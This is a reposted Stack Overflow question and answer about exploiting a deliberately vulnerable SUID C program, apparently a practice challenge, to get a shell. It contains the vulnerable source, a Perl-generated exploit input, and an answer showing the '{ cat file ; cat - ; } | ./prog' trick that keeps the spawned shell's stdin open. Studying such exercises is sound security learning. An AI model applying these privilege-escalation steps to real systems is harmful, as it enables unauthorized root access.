问题
I am trying to exploit a SUID program.
The program is:
#include <stdlib.h>
#include <unistd.h>
#include <string.h>
#include <stdio.h>
#define e(); if(((unsigned int)ptr & 0xff000000)==0xca000000) { setresuid(geteuid(), geteuid(), geteuid()); execlp("/bin/sh", "sh", "-i", NULL); }
void print(unsigned char *buf, int len)
{
int i;
printf("[ ");
for(i=0; i < len; i++) printf("%x ", buf[i]);
printf(" ]\n");
}
int main()
{
unsigned char buf[512];
unsigned char *ptr = buf + (sizeof(buf)/2);
unsigned int x;
while((x = getchar()) != EOF) {
switch(x) {
case '\n': print(buf, sizeof(buf)); continue; break;
case '\\': ptr--; break;
default: e(); if(ptr > buf + sizeof(buf)) continue; ptr++[0] = x; break;
}
}
printf("All done\n");
}
We can easily see that if we somehow change ptr's contents to some address that starts with CA then a new shell will be spawned for us. And as ptr normally holds some address starting with FF the way to decrease it(ptr) is to enter \ character. So I make a file with 0x35000000 '\' characters, and finally 3 'a' at the end of the file
perl -e "print '\\\'x889192448" > file # decimal equivalent of 0x35000000
echo aaa > file # So that e() is called which actually spawns the shell
And finally in gdb,
run < file
However instead of spawning a shell gdb is saying
process <some number> is executing new program /bin/dash
inferior 1 exited normally
And then back to gdb prompt instead of getting a shell. I have confirmed by setting breakpoints at appropriate locations that ptr is indeed starting with CA before setresuid() gets called.
Also if I pipe this outside of gdb, nothing happens.
./vulnProg < file
Bash prompt returns back.
Please tell me where am I making mistake.
回答1:
You can see the problem by compiling a simpler test program
int main() { execlp("/bin/sed", "-e", "s/^/XXX:/", NULL); }
All this does is start a version of sed (rather than the shell) and converts input by prepending "XXX:".
If you run the resulting program, and type in the Terminal you get behaviour like this:
$./a.out
Hello
XXX:Hello
Test
XXX:Test
^D
Which is exactly as we'd expect.
Now if you feed it input from a file containing "Hello\nWorld" you get
$./a.out < file
XXX:Hello
XXX:World
$
And the application exits immediately, with the input stream to the application being closed when the input file has all been read.
If you want to provide additional input, you need to use a trick to not break the input stream.
{ cat file ; cat - ; } | ./a.out
This will put all the input from file into a running ./a.out
and then
read from stdin and add that too.
$ { cat file ; cat - ; } | ./a.out
XXX:Hello
XXX:World
This is a Test
XXX:This is a Test
来源:https://stackoverflow.com/questions/30972544/gdb-exiting-instead-of-spawning-a-shell